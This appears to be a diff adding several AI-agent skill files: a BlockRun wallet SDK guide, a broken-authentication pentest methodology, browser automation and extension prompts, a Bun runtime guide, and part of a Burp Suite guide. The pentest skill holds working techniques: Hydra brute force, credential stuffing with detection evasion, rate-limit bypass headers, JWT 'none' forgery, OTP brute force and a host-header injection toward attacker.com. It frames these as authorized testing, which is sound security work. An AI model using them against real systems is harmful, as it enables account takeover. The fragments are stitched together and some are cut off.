+client = setup_agent_wallet()
+budget = 1.0  # User's budget
+
+# Before each call, check if within budget
+spending = client.get_spending()
+if spending['total_usd'] >= budget:
+    print(f"Budget reached: ${spending['total_usd']:.4f} spent")
+    # Stop making calls
+else:
+    response = client.chat("openai/gpt-5.2", "Hello!")
+
+# At the end, report spending
+spending = client.get_spending()
+print(f"💰 Total spent: ${spending['total_usd']:.4f} across {spending['calls']} calls")
+```
+
+## When to Use
+
+| Trigger | Your Action |
+|---------|-------------|
+| User explicitly requests ("blockrun second opinion with GPT on...", "use grok to check...", "generate image with dall-e") | Execute via BlockRun |
+| User needs something you can't do (images, live X data) | Suggest BlockRun, wait for confirmation |
+| You can handle the task fine | Do it yourself, don't mention BlockRun |
+
+## Example User Prompts
+
+Users will say things like:
+
+| User Says | What You Do |
+|-----------|-------------|
+| "blockrun generate an image of a sunset" | Call DALL-E via ImageClient |
+| "use grok to check what's trending on X" | Call Grok with `search=True` |
+| "blockrun GPT review this code" | Call GPT-5.2 via LLMClient |
+| "what's the latest news about AI agents?" | Suggest Grok (you lack real-time data) |
+| "generate a logo for my startup" | Suggest DALL-E (you can't generate images) |
+| "blockrun check my balance" | Show wallet balance via `get_balance()` |
+| "blockrun deepseek summarize this file" | Call DeepSeek for cost savings |
+
+## Wallet & Balance
+
+Use `setup_agent_wallet()` to auto-create a wallet and get a client. This shows the QR code and welcome message on first use.
+
+**Initialize client (always start with this):**
+```python
+from blockrun_llm import setup_agent_wallet
+
+client = setup_agent_wallet()  # Auto-creates wallet, shows QR if new
+```
+
+**Check balance (when user asks "show balance", "check wallet", etc.):**
+```python
+balance = client.get_balance()  # On-chain USDC balance
+print(f"Balance: ${balance:.2f} USDC")
+print(f"Wallet: {client.get_wallet_address()}")
+```
+
+**Show QR code for funding:**
+```python
+from blockrun_llm import generate_wallet_qr_ascii, get_wallet_address
+
+# ASCII QR for terminal display
+print(generate_wallet_qr_ascii(get_wallet_address()))
+```
+
+## SDK Usage
+
+**Prerequisite:** Install the SDK with `pip install blockrun-llm`
+
+### Basic Chat
+```python
+from blockrun_llm import setup_agent_wallet
+
+client = setup_agent_wallet()  # Auto-creates wallet if needed
+response = client.chat("openai/gpt-5.2", "What is 2+2?")
+print(response)
+
+# Check spending
+spending = client.get_spending()
+print(f"Spent ${spending['total_usd']:.4f}")
+```
+
+### Real-time X/Twitter Search (xAI Live Search)
+
+**IMPORTANT:** For real-time X/Twitter data, you MUST enable Live Search with `search=True` or `search_parameters`.
+
+```python
+from blockrun_llm import setup_agent_wallet
+
+client = setup_agent_wallet()
+
+# Simple: Enable live search with search=True
+response = client.chat(
+    "xai/grok-3",
+    "What are the latest posts from @blockrunai on X?",
+    search=True  # Enables real-time X/Twitter search
+)
+print(response)
+```
+
+### Advanced X Search with Filters
+
+```python
+from blockrun_llm import setup_agent_wallet
+
+client = setup_agent_wallet()
+
+response = client.chat(
+    "xai/grok-3",
+    "Analyze @blockrunai's recent content and engagement",
+    search_parameters={
+        "mode": "on",
+        "sources": [
+            {
+                "type": "x",
+                "included_x_handles": ["blockrunai"],
+                "post_favorite_count": 5
+            }
+        ],
+        "max_search_results": 20,
+        "return_citations": True
+    }
+)
+print(response)
+```
+
+### Image Generation
+```python
+from blockrun_llm import ImageClient
+
+client = ImageClient()
+result = client.generate("A cute cat wearing a space helmet")
+print(result.data[0].url)
+```
+
+## xAI Live Search Reference
+
+Live Search is xAI's real-time data API. Cost: **$0.025 per source** (default 10 sources = ~$0.26).
+
+To reduce costs, set `max_search_results` to a lower value:
+```python
+# Only use 5 sources (~$0.13)
+response = client.chat("xai/grok-3", "What's trending?",
+    search_parameters={"mode": "on", "max_search_results": 5})
+```
+
+### Search Parameters
+
+| Parameter | Type | Default | Description |
+|-----------|------|---------|-------------|
+| `mode` | string | "auto" | "off", "auto", or "on" |
+| `sources` | array | web,news,x | Data sources to query |
+| `return_citations` | bool | true | Include source URLs |
+| `from_date` | string | - | Start date (YYYY-MM-DD) |
+| `to_date` | string | - | End date (YYYY-MM-DD) |
+| `max_search_results` | int | 10 | Max sources to return (customize to control cost) |
+
+### Source Types
+
+**X/Twitter Source:**
+```python
+{
+    "type": "x",
+    "included_x_handles": ["handle1", "handle2"],  # Max 10

+}
+```
+
+**News Source:**
+```python
+{
+    "type": "news",
+    "country": "US",

+
+## Setup & Funding
+
+**Wallet location:** `$HOME/.blockrun/.session` (e.g., `/Users/username/.blockrun/.session`)
+
+**First-time setup:**
+1. Wallet auto-creates when `setup_agent_wallet()` is called
+2. Check wallet and balance:
+```python
+from blockrun_llm import setup_agent_wallet
+client = setup_agent_wallet()
+print(f"Wallet: {client.get_wallet_address()}")
+print(f"Balance: ${client.get_balance():.2f} USDC")
+```
+3. Fund wallet with $1-5 USDC on Base network
+
+**Show QR code for funding (ASCII for terminal):**
+```python
+from blockrun_llm import generate_wallet_qr_ascii, get_wallet_address
+print(generate_wallet_qr_ascii(get_wallet_address()))
+```
+
+## Troubleshooting
+
+**"Grok says it has no real-time access"**
+→ You forgot to enable Live Search. Add `search=True`:
+```python
+response = client.chat("xai/grok-3", "What's trending?", search=True)
+```
+
+**Module not found**
+→ Install the SDK: `pip install blockrun-llm`
+
+## Updates
+
+```bash
+pip install --upgrade blockrun-llm
+```

+name: Broken Authentication Testing
+description: This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
+metadata:

+
+# Broken Authentication Testing
+
+## Purpose
+
+Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
+
+## Prerequisites
+
+### Required Knowledge
+- HTTP protocol and session mechanisms
+- Authentication types (SFA, 2FA, MFA)
+- Cookie and token handling
+- Common authentication frameworks
+
+### Required Tools
+- Burp Suite Professional or Community
+- Hydra or similar brute-force tools
+- Custom wordlists for credential testing
+- Browser developer tools
+
+### Required Access
+- Target application URL
+- Test account credentials
+- Written authorization for testing
+
+## Outputs and Deliverables
+
+1. **Authentication Assessment Report** - Document all identified vulnerabilities
+2. **Credential Testing Results** - Brute-force and dictionary attack outcomes
+3. **Session Security Analysis** - Token randomness and timeout evaluation
+4. **Remediation Recommendations** - Security hardening guidance
+
+## Core Workflow
+
+### Phase 1: Authentication Mechanism Analysis
+
+Understand the application's authentication architecture:
+
+```
+# Identify authentication type
+- Password-based (forms, basic auth, digest)
+- Token-based (JWT, OAuth, API keys)
+- Certificate-based (mutual TLS)
+- Multi-factor (SMS, TOTP, hardware tokens)
+
+# Map authentication endpoints
+/login, /signin, /authenticate
+/register, /signup
+/forgot-password, /reset-password
+/logout, /signout
+/api/auth/*, /oauth/*
+```
+
+Capture and analyze authentication requests:
+
+```http
+POST /login HTTP/1.1
+Host: target.com
+Content-Type: application/x-www-form-urlencoded
+
+username=test&password=test123
+```
+
+### Phase 2: Password Policy Testing
+
+Evaluate password requirements and enforcement:
+
+```bash
+# Test minimum length (a, ab, abcdefgh)
+# Test complexity (password, password1, Password1!)
+# Test common weak passwords (123456, password, qwerty, admin)
+# Test username as password (admin/admin, test/test)
+```
+
+Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
+
+### Phase 3: Credential Enumeration
+
+Test for username enumeration vulnerabilities:
+
+```bash
+# Compare responses for valid vs invalid usernames
+# Invalid: "Invalid username" vs Valid: "Invalid password"
+# Check timing differences, response codes, registration messages
+```
+
+# Password reset
+"Email sent if account exists" (secure)
+"No account with that email" (leaks info)
+
+# API responses
+{"error": "user_not_found"}
+{"error": "invalid_password"}
+```
+
+### Phase 4: Brute Force Testing
+
+Test account lockout and rate limiting:
+
+```bash
+# Using Hydra for form-based auth
+hydra -l admin -P /usr/share/wordlists/rockyou.txt \
+  target.com http-post-form \
+  "/login:username=^USER^&password=^PASS^:Invalid credentials"
+
+# Using Burp Intruder
+1. Capture login request
+2. Send to Intruder
+3. Set payload positions on password field
+4. Load wordlist
+5. Start attack
+6. Analyze response lengths/codes
+```
+
+Check for protections:
+
+```bash
+# Account lockout
+- After how many attempts?
+- Duration of lockout?
+- Lockout notification?
+
+# Rate limiting
+- Requests per minute limit?
+- IP-based or account-based?
+- Bypass via headers (X-Forwarded-For)?
+
+# CAPTCHA
+- After failed attempts?
+- Easily bypassable?
+```
+
+### Phase 5: Credential Stuffing
+
+Test with known breached credentials:
+
+```bash
+# Credential stuffing differs from brute force
+# Uses known email:password pairs from breaches
+
+# Using Burp Intruder with Pitchfork attack
+1. Set username and password as positions
+2. Load email list as payload 1
+3. Load password list as payload 2 (matched pairs)
+4. Analyze for successful logins
+
+# Detection evasion
+- Slow request rate
+- Rotate source IPs
+- Randomize user agents
+- Add delays between attempts
+```
+
+### Phase 6: Session Management Testing
+
+Analyze session token security:
+
+```bash
+# Capture session cookie
+Cookie: SESSIONID=abc123def456
+
+# Test token characteristics
+1. Entropy - Is it random enough?
+2. Length - Sufficient length (128+ bits)?
+3. Predictability - Sequential patterns?
+4. Secure flags - HttpOnly, Secure, SameSite?
+```
+
+Session token analysis:
+
+```python
+#!/usr/bin/env python3
+import requests
+import hashlib
+
+# Collect multiple session tokens
+tokens = []
+for i in range(100):
+    response = requests.get("https://target.com/login")
+    token = response.cookies.get("SESSIONID")
+    tokens.append(token)
+
+# Analyze for patterns
+# Check for sequential increments
+# Calculate entropy
+# Look for timestamp components
+```
+
+### Phase 7: Session Fixation Testing
+
+Test if session is regenerated after authentication:
+
+```bash
+# Step 1: Get session before login
+GET /login HTTP/1.1
+Response: Set-Cookie: SESSIONID=abc123
+
+# Step 2: Login with same session
+POST /login HTTP/1.1
+Cookie: SESSIONID=abc123
+username=valid&password=valid
+
+# Step 3: Check if session changed
+# VULNERABLE if SESSIONID remains abc123
+# SECURE if new session assigned after login
+```
+
+Attack scenario:
+
+```bash
+# Attacker workflow:
+1. Attacker visits site, gets session: SESSIONID=attacker_session
+2. Attacker sends link to victim with fixed session:
+   https://target.com/login?SESSIONID=attacker_session
+3. Victim logs in with attacker's session
+4. Attacker now has authenticated session
+```
+
+### Phase 8: Session Timeout Testing
+
+Verify session expiration policies:
+
+```bash
+# Test idle timeout
+1. Login and note session cookie
+2. Wait without activity (15, 30, 60 minutes)
+3. Attempt to use session
+4. Check if session is still valid
+
+# Test absolute timeout
+1. Login and continuously use session
+2. Check if forced logout after set period (8 hours, 24 hours)
+
+# Test logout functionality
+1. Login and note session
+2. Click logout
+3. Attempt to reuse old session cookie
+4. Session should be invalidated server-side
+```
+
+### Phase 9: Multi-Factor Authentication Testing
+
+Assess MFA implementation security:
+
+```bash
+# OTP brute force
+- 4-digit OTP = 10,000 combinations
+- 6-digit OTP = 1,000,000 combinations
+- Test rate limiting on OTP endpoint
+
+# OTP bypass techniques
+- Skip MFA step by direct URL access
+- Modify response to indicate MFA passed
+- Null/empty OTP submission
+- Previous valid OTP reuse
+
+# API Version Downgrade Attack (crAPI example)
+# If /api/v3/check-otp has rate limiting, try older versions:
+POST /api/v2/check-otp
+{"otp": "1234"}
+# Older API versions may lack security controls
+
+# Using Burp for OTP testing
+1. Capture OTP verification request
+2. Send to Intruder
+3. Set OTP field as payload position
+4. Use numbers payload (0000-9999)
+5. Check for successful bypass
+```
+
+Test MFA enrollment:
+
+```bash
+# Forced enrollment
+- Can MFA be skipped during setup?
+- Can backup codes be accessed without verification?
+
+# Recovery process
+- Can MFA be disabled via email alone?
+- Social engineering potential?
+```
+
+### Phase 10: Password Reset Testing
+
+Analyze password reset security:
+
+```bash
+# Token security
+1. Request password reset
+2. Capture reset link
+3. Analyze token:
+   - Length and randomness
+   - Expiration time
+   - Single-use enforcement
+   - Account binding
+
+# Token manipulation
+https://target.com/reset?token=abc123&user=victim
+# Try changing user parameter while using valid token
+
+# Host header injection
+POST /forgot-password HTTP/1.1
+Host: attacker.com
+email=victim@email.com
+# Reset email may contain attacker's domain
+```
+
+## Quick Reference
+
+### Common Vulnerability Types
+
+| Vulnerability | Risk | Test Method |
+|--------------|------|-------------|
+| Weak passwords | High | Policy testing, dictionary attack |
+| No lockout | High | Brute force testing |
+| Username enumeration | Medium | Differential response analysis |
+| Session fixation | High | Pre/post-login session comparison |
+| Weak session tokens | High | Entropy analysis |
+| No session timeout | Medium | Long-duration session testing |
+| Insecure password reset | High | Token analysis, workflow bypass |
+| MFA bypass | Critical | Direct access, response manipulation |
+
+### Credential Testing Payloads
+
+```bash
+# Default credentials
+admin:admin
+admin:password
+admin:123456
+root:root
+test:test
+user:user
+
+# Common passwords
+123456
+password
+12345678
+qwerty
+abc123
+password1
+admin123
+
+# Breached credential databases
+- Have I Been Pwned dataset
+- SecLists passwords
+- Custom targeted lists
+```
+
+### Session Cookie Flags
+
+| Flag | Purpose | Vulnerability if Missing |
+|------|---------|------------------------|
+| HttpOnly | Prevent JS access | XSS can steal session |
+| Secure | HTTPS only | Sent over HTTP |
+| SameSite | CSRF protection | Cross-site requests allowed |
+| Path | URL scope | Broader exposure |
+| Domain | Domain scope | Subdomain access |
+| Expires | Lifetime | Persistent sessions |
+
+### Rate Limiting Bypass Headers
+
+```http
+X-Forwarded-For: 127.0.0.1
+X-Real-IP: 127.0.0.1
+X-Originating-IP: 127.0.0.1
+X-Client-IP: 127.0.0.1
+X-Remote-IP: 127.0.0.1
+True-Client-IP: 127.0.0.1
+```
+
+## Constraints and Limitations
+
+### Legal Requirements
+- Only test with explicit written authorization
+- Avoid testing with real breached credentials
+- Do not access actual user accounts
+- Document all testing activities
+
+### Technical Limitations
+- CAPTCHA may prevent automated testing
+- Rate limiting affects brute force timing
+- MFA significantly increases attack difficulty
+- Some vulnerabilities require victim interaction
+
+### Scope Considerations
+- Test accounts may behave differently than production
+- Some features may be disabled in test environments
+- Third-party authentication may be out of scope
+- Production testing requires extra caution
+
+## Examples
+
+### Example 1: Account Lockout Bypass
+
+**Scenario:** Test if account lockout can be bypassed
+
+```bash
+# Step 1: Identify lockout threshold
+# Try 5 wrong passwords for admin account
+# Result: "Account locked for 30 minutes"
+
+# Step 2: Test bypass via IP rotation
+# Use X-Forwarded-For header
+POST /login HTTP/1.1
+X-Forwarded-For: 192.168.1.1
+username=admin&password=attempt1
+
+# Increment IP for each attempt
+X-Forwarded-For: 192.168.1.2
+# Continue until successful or confirmed blocked
+
+# Step 3: Test bypass via case manipulation
+username=Admin (vs admin)
+username=ADMIN
+# Some systems treat these as different accounts
+```
+
+### Example 2: JWT Token Attack
+
+**Scenario:** Exploit weak JWT implementation
+
+```bash
+# Step 1: Capture JWT token
+Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
+
+# Step 2: Decode and analyze
+# Header: {"alg":"HS256","typ":"JWT"}
+# Payload: {"user":"test","role":"user"}
+
+# Step 3: Try "none" algorithm attack
+# Change header to: {"alg":"none","typ":"JWT"}
+# Remove signature
+eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
+
+# Step 4: Submit modified token
+Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
+```
+
+### Example 3: Password Reset Token Exploitation
+
+**Scenario:** Test password reset functionality
+
+```bash
+# Step 1: Request reset for test account
+POST /forgot-password
+email=test@example.com
+
+# Step 2: Capture reset link
+https://target.com/reset?token=a1b2c3d4e5f6
+
+# Step 3: Test token properties
+# Reuse: Try using same token twice
+# Expiration: Wait 24+ hours and retry
+# Modification: Change characters in token
+
+# Step 4: Test for user parameter manipulation
+https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
+# Check if admin's password can be reset with test user's token
+```
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
+| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
+| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
+| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |

+# Browser Automation
+
+You are a browser automation expert who has debugged thousands of flaky tests
+and built scrapers that run for years without breaking. You've seen the
+evolution from Selenium to Puppeteer to Playwright and understand exactly
+when each tool shines.
+
+Your core insight: Most automation failures come from three sources - bad
+selectors, missing waits, and detection systems. You teach people to think
+like the browser, use the right selectors, and let Playwright's auto-wait
+do its job.

+- headless-browsers
+- web-scraping
+- browser-testing

+
+## Patterns
+
+### Test Isolation Pattern
+
+Each test runs in complete isolation with fresh state
+
+### User-Facing Locator Pattern
+
+Select elements the way users see them
+
+### Auto-Wait Pattern
+
+Let Playwright wait automatically, never add manual waits

+# Browser Extension Builder
+
+**Role**: Browser Extension Architect
+
+You extend the browser to give users superpowers. You understand the
+unique constraints of extension development - permissions, security,
+store policies. You build extensions that people install and actually
+use daily. You know the difference between a toy and a tool.
+
+## Capabilities
+
+- Extension architecture
+- Manifest v3 (MV3)
+- Content scripts
+- Background workers
+- Popup interfaces
+- Extension monetization
+- Chrome Web Store publishing
+- Cross-browser support
+
+## Patterns
+
+### Extension Architecture
+
+Structure for modern browser extensions
+
+**When to use**: When starting a new extension
+
+```javascript
+## Extension Architecture
+
+### Project Structure
+```
+extension/
+├── manifest.json      # Extension config
+├── popup/
+│   ├── popup.html     # Popup UI
+│   ├── popup.css
+│   └── popup.js
+├── content/
+│   └── content.js     # Runs on web pages
+├── background/
+│   └── service-worker.js  # Background logic
+├── options/
+│   ├── options.html   # Settings page
+│   └── options.js
+└── icons/
+    ├── icon16.png
+    ├── icon48.png
+    └── icon128.png
+```
+
+### Manifest V3 Template
+```json
+{
+  "manifest_version": 3,
+  "name": "My Extension",
+  "version": "1.0.0",
+  "description": "What it does",
+  "permissions": ["storage", "activeTab"],
+  "action": {
+    "default_popup": "popup/popup.html",
+    "default_icon": {
+      "16": "icons/icon16.png",
+      "48": "icons/icon48.png",
+      "128": "icons/icon128.png"
+    }
+  },
+  "content_scripts": [{
+    "matches": ["<all_urls>"],
+    "js": ["content/content.js"]
+  }],
+  "background": {
+    "service_worker": "background/service-worker.js"
+  },
+  "options_page": "options/options.html"
+}
+```
+
+### Communication Pattern
+```
+Popup ←→ Background (Service Worker) ←→ Content Script
+              ↓
+        chrome.storage
+```
+```
+
+### Content Scripts
+
+Code that runs on web pages
+
+**When to use**: When modifying or reading page content
+
+```javascript
+## Content Scripts
+
+### Basic Content Script
+```javascript
+// content.js - Runs on every matched page
+
+// Wait for page to load
+document.addEventListener('DOMContentLoaded', () => {
+  // Modify the page
+  const element = document.querySelector('.target');
+  if (element) {
+    element.style.backgroundColor = 'yellow';
+  }
+});
+
+// Listen for messages from popup/background
+chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
+  if (message.action === 'getData') {
+    const data = document.querySelector('.data')?.textContent;
+    sendResponse({ data });
+  }
+  return true; // Keep channel open for async
+});
+```
+
+### Injecting UI
+```javascript
+// Create floating UI on page
+function injectUI() {
+  const container = document.createElement('div');
+  container.id = 'my-extension-ui';
+  container.innerHTML = `
+    <div style="position: fixed; bottom: 20px; right: 20px;
+                background: white; padding: 16px; border-radius: 8px;
+                box-shadow: 0 4px 12px rgba(0,0,0,0.15); z-index: 10000;">
+      <h3>My Extension</h3>
+      <button id="my-extension-btn">Click me</button>
+    </div>
+  `;
+  document.body.appendChild(container);
+
+  document.getElementById('my-extension-btn').addEventListener('click', () => {
+    // Handle click
+  });
+}
+
+injectUI();
+```
+
+### Permissions for Content Scripts
+```json
+{
+  "content_scripts": [{
+    "matches": ["https://specific-site.com/*"],
+    "js": ["content.js"],
+    "run_at": "document_end"
+  }]
+}
+```
+```
+
+### Storage and State
+
+Persisting extension data
+
+**When to use**: When saving user settings or data
+
+```javascript
+## Storage and State
+
+### Chrome Storage API
+```javascript
+// Save data
+chrome.storage.local.set({ key: 'value' }, () => {
+  console.log('Saved');
+});
+
+// Get data
+chrome.storage.local.get(['key'], (result) => {
+  console.log(result.key);
+});
+
+// Sync storage (syncs across devices)
+chrome.storage.sync.set({ setting: true });
+
+// Watch for changes
+chrome.storage.onChanged.addListener((changes, area) => {
+  if (changes.key) {
+    console.log('key changed:', changes.key.newValue);
+  }
+});
+```
+
+### Storage Limits
+| Type | Limit |
+|------|-------|
+| local | 5MB |
+| sync | 100KB total, 8KB per item |
+
+### Async/Await Pattern
+```javascript
+// Modern async wrapper
+async function getStorage(keys) {
+  return new Promise((resolve) => {
+    chrome.storage.local.get(keys, resolve);
+  });
+}
+
+async function setStorage(data) {
+  return new Promise((resolve) => {
+    chrome.storage.local.set(data, resolve);
+  });
+}
+
+// Usage
+const { settings } = await getStorage(['settings']);
+await setStorage({ settings: { ...settings, theme: 'dark' } });
+```
+```
+
+## Anti-Patterns
+
+### ❌ Requesting All Permissions
+
+**Why bad**: Users won't install.
+Store may reject.
+Security risk.
+Bad reviews.
+
+**Instead**: Request minimum needed.
+Use optional permissions.
+Explain why in description.
+Request at time of use.
+
+### ❌ Heavy Background Processing
+
+**Why bad**: MV3 terminates idle workers.
+Battery drain.
+Browser slows down.
+Users uninstall.
+
+**Instead**: Keep background minimal.
+Use alarms for periodic tasks.
+Offload to content scripts.
+Cache aggressively.
+
+### ❌ Breaking on Updates
+
+**Why bad**: Selectors change.
+APIs change.
+Angry users.
+Bad reviews.
+
+**Instead**: Use stable selectors.
+Add error handling.
+Monitor for breakage.
+Update quickly when broken.

+# Run with specific env file
+bun --env-file=.env.production run index.ts
+```
+
+---
+
+## 5. Built-in APIs
+
+### 5.1 File System (Bun.file)
+
+```typescript
+// Read file
+const file = Bun.file("./data.json");
+const text = await file.text();
+const json = await file.json();
+const buffer = await file.arrayBuffer();
+
+// File info
+console.log(file.size); // bytes
+console.log(file.type); // MIME type
+
+// Write file
+await Bun.write("./output.txt", "Hello, Bun!");
+await Bun.write("./data.json", JSON.stringify({ foo: "bar" }));
+
+// Stream large files
+const reader = file.stream();
+for await (const chunk of reader) {
+  console.log(chunk);
+}
+```
+
+### 5.2 HTTP Server (Bun.serve)
+
+```typescript
+const server = Bun.serve({
+  port: 3000,
+
+  fetch(request) {
+    const url = new URL(request.url);
+
+    if (url.pathname === "/") {
+      return new Response("Hello World!");
+    }
+
+    if (url.pathname === "/api/users") {
+      return Response.json([
+        { id: 1, name: "Alice" },
+        { id: 2, name: "Bob" },
+      ]);
+    }
+
+    return new Response("Not Found", { status: 404 });
+  },
+
+  error(error) {
+    return new Response(`Error: ${error.message}`, { status: 500 });
+  },
+});
+
+console.log(`Server running at http://localhost:${server.port}`);
+```
+
+### 5.3 WebSocket Server
+
+```typescript
+const server = Bun.serve({
+  port: 3000,
+
+  fetch(req, server) {
+    // Upgrade to WebSocket
+    if (server.upgrade(req)) {
+      return; // Upgraded
+    }
+    return new Response("Upgrade failed", { status: 500 });
+  },
+
+  websocket: {
+    open(ws) {
+      console.log("Client connected");
+      ws.send("Welcome!");
+    },
+
+    message(ws, message) {
+      console.log(`Received: ${message}`);
+      ws.send(`Echo: ${message}`);
+    },
+
+    close(ws) {
+      console.log("Client disconnected");
+    },
+  },
+});
+```
+
+### 5.4 SQLite (Bun.sql)
+
+```typescript
+import { Database } from "bun:sqlite";
+
+const db = new Database("mydb.sqlite");
+
+// Create table
+db.run(`
+  CREATE TABLE IF NOT EXISTS users (
+    id INTEGER PRIMARY KEY AUTOINCREMENT,
+    name TEXT NOT NULL,
+    email TEXT UNIQUE
+  )
+`);
+
+// Insert
+const insert = db.prepare("INSERT INTO users (name, email) VALUES (?, ?)");
+insert.run("Alice", "alice@example.com");
+
+// Query
+const query = db.prepare("SELECT * FROM users WHERE name = ?");
+const user = query.get("Alice");
+console.log(user); // { id: 1, name: "Alice", email: "alice@example.com" }
+
+// Query all
+const allUsers = db.query("SELECT * FROM users").all();
+```
+
+### 5.5 Password Hashing
+
+```typescript
+// Hash password
+const password = "super-secret";
+const hash = await Bun.password.hash(password);
+
+// Verify password
+const isValid = await Bun.password.verify(password, hash);
+console.log(isValid); // true
+
+// With algorithm options
+const bcryptHash = await Bun.password.hash(password, {
+  algorithm: "bcrypt",
+  cost: 12,
+});
+```
+
+---
+
+## 6. Testing
+
+### 6.1 Basic Tests
+
+```typescript
+// math.test.ts
+import { describe, it, expect, beforeAll, afterAll } from "bun:test";
+
+describe("Math operations", () => {
+  it("adds two numbers", () => {
+    expect(1 + 1).toBe(2);
+  });
+
+  it("subtracts two numbers", () => {
+    expect(5 - 3).toBe(2);
+  });
+});
+```
+
+### 6.2 Running Tests

+  }).toThrow("fail");
+
+  // Async
+  await expect(Promise.resolve(1)).resolves.toBe(1);
+  await expect(Promise.reject("err")).rejects.toBe("err");
+});
+```
+
+### 6.4 Mocking
+
+```typescript
+import { mock, spyOn } from "bun:test";
+
+// Mock function
+const mockFn = mock((x: number) => x * 2);
+mockFn(5);
+expect(mockFn).toHaveBeenCalled();

+expect(mockFn.mock.results[0].value).toBe(10);
+
+// Spy on method
+const obj = {
+  method: () => "original",
+};
+const spy = spyOn(obj, "method").mockReturnValue("mocked");
+expect(obj.method()).toBe("mocked");
+expect(spy).toHaveBeenCalled();
+```
+
+---
+
+## 7. Bundling
+
+### 7.1 Basic Build
+
+```bash
+# Bundle for production
+bun build ./src/index.ts --outdir ./dist
+
+# With options
+bun build ./src/index.ts \
+  --outdir ./dist \
+  --target browser \
+  --minify \
+  --sourcemap
+```
+
+### 7.2 Build API
+
+```typescript
+const result = await Bun.build({
+  entrypoints: ["./src/index.ts"],
+  outdir: "./dist",
+  target: "browser", // or "bun", "node"
+  minify: true,
+  sourcemap: "external",
+  splitting: true,
+  format: "esm",
+
+  // External packages (not bundled)
+  external: ["react", "react-dom"],
+
+  // Define globals
+  define: {
+    "process.env.NODE_ENV": JSON.stringify("production"),
+  },
+
+  // Naming
+  naming: {
+    entry: "[name].[hash].js",
+    chunk: "chunks/[name].[hash].js",
+    asset: "assets/[name].[hash][ext]",
+  },
+});
+
+if (!result.success) {
+  console.error(result.logs);
+}
+```
+
+### 7.3 Compile to Executable
+
+```bash
+# Create standalone executable
+bun build ./src/cli.ts --compile --outfile myapp
+
+# Cross-compile
+bun build ./src/cli.ts --compile --target=bun-linux-x64 --outfile myapp-linux
+bun build ./src/cli.ts --compile --target=bun-darwin-arm64 --outfile myapp-mac
+
+# With embedded assets
+bun build ./src/cli.ts --compile --outfile myapp --embed ./assets
+```
+
+---
+
+## 8. Migration from Node.js
+
+### 8.1 Compatibility
+
+```typescript
+// Most Node.js APIs work out of the box
+import fs from "fs";
+import path from "path";
+import crypto from "crypto";
+
+// process is global
+console.log(process.cwd());
+console.log(process.env.HOME);
+
+// Buffer is global
+const buf = Buffer.from("hello");
+
+// __dirname and __filename work
+console.log(__dirname);
+console.log(__filename);
+```
+
+### 8.2 Common Migration Steps
+
+```bash
+# 1. Install Bun
+curl -fsSL https://bun.sh/install | bash
+
+# 2. Replace package manager
+rm -rf node_modules package-lock.json
+bun install
+
+# 3. Update scripts in package.json
+# "start": "node index.js" → "start": "bun run index.ts"
+# "test": "jest" → "test": "bun test"
+
+# 4. Add Bun types
+bun add -d @types/bun
+```
+
+### 8.3 Differences from Node.js
+
+```typescript
+// ❌ Node.js specific (may not work)
+require("module")             // Use import instead
+require.resolve("pkg")        // Use import.meta.resolve
+__non_webpack_require__       // Not supported
+
+// ✅ Bun equivalents
+import pkg from "pkg";
+const resolved = import.meta.resolve("pkg");
+Bun.resolveSync("pkg", process.cwd());
+
+// ❌ These globals differ
+process.hrtime()              // Use Bun.nanoseconds()
+setImmediate()                // Use queueMicrotask()
+
+// ✅ Bun-specific features
+const file = Bun.file("./data.txt");  // Fast file API
+Bun.serve({ port: 3000, fetch: ... }); // Fast HTTP server
+Bun.password.hash(password);           // Built-in hashing
+```
+
+---
+
+## 9. Performance Tips
+
+### 9.1 Use Bun-native APIs
+
+```typescript
+// Slow (Node.js compat)
+import fs from "fs/promises";
+const content = await fs.readFile("./data.txt", "utf-8");
+
+// Fast (Bun-native)
+const file = Bun.file("./data.txt");
+const content = await file.text();
+```
+
+### 9.2 Use Bun.serve for HTTP
+
+```typescript
+// Don't: Express/Fastify (overhead)
+import express from "express";
+const app = express();
+
+// Do: Bun.serve (native, 4-10x faster)
+Bun.serve({
+  fetch(req) {
+    return new Response("Hello!");
+  },
+});
+
+// Or use Elysia (Bun-optimized framework)
+import { Elysia } from "elysia";
+new Elysia().get("/", () => "Hello!").listen(3000);
+```
+
+### 9.3 Bundle for Production
+
+```bash
+# Always bundle and minify for production
+bun build ./src/index.ts --outdir ./dist --minify --target node
+
+# Then run the bundle
+bun run ./dist/index.js
+```
+

+
+## Core Workflow
+
+### Phase 1: Intercepting HTTP Traffic
+
+#### Launch Burp's Browser
+Navigate to integrated browser for seamless proxy integration:
+
+1. Open Burp Suite and create/open project
+2. Go to **Proxy > Intercept** tab
+3. Click **Open Browser** to launch preconfigured browser
+4. Position windows to view both Burp and browser simultaneously
+
+#### Configure Interception
+Control which requests are captured:
+
+```
+Proxy > Intercept > Intercept is on/off toggle
+
+When ON: Requests pause for review/modification
+When OFF: Requests pass through, logged to history
+```
+
+#### Intercept and Forward Requests
+Process intercepted traffic:
+
+1. Set intercept toggle to **Intercept on**
+2. Navigate to target URL in browser
+3. Observe request held in Proxy > Intercept tab
+4. Review request contents (headers, parameters, body)
+5. Click **Forward** to send request to server
+6. Continue forwarding subsequent requests until page loads
+
+#### View HTTP History
+Access complete traffic log:
+
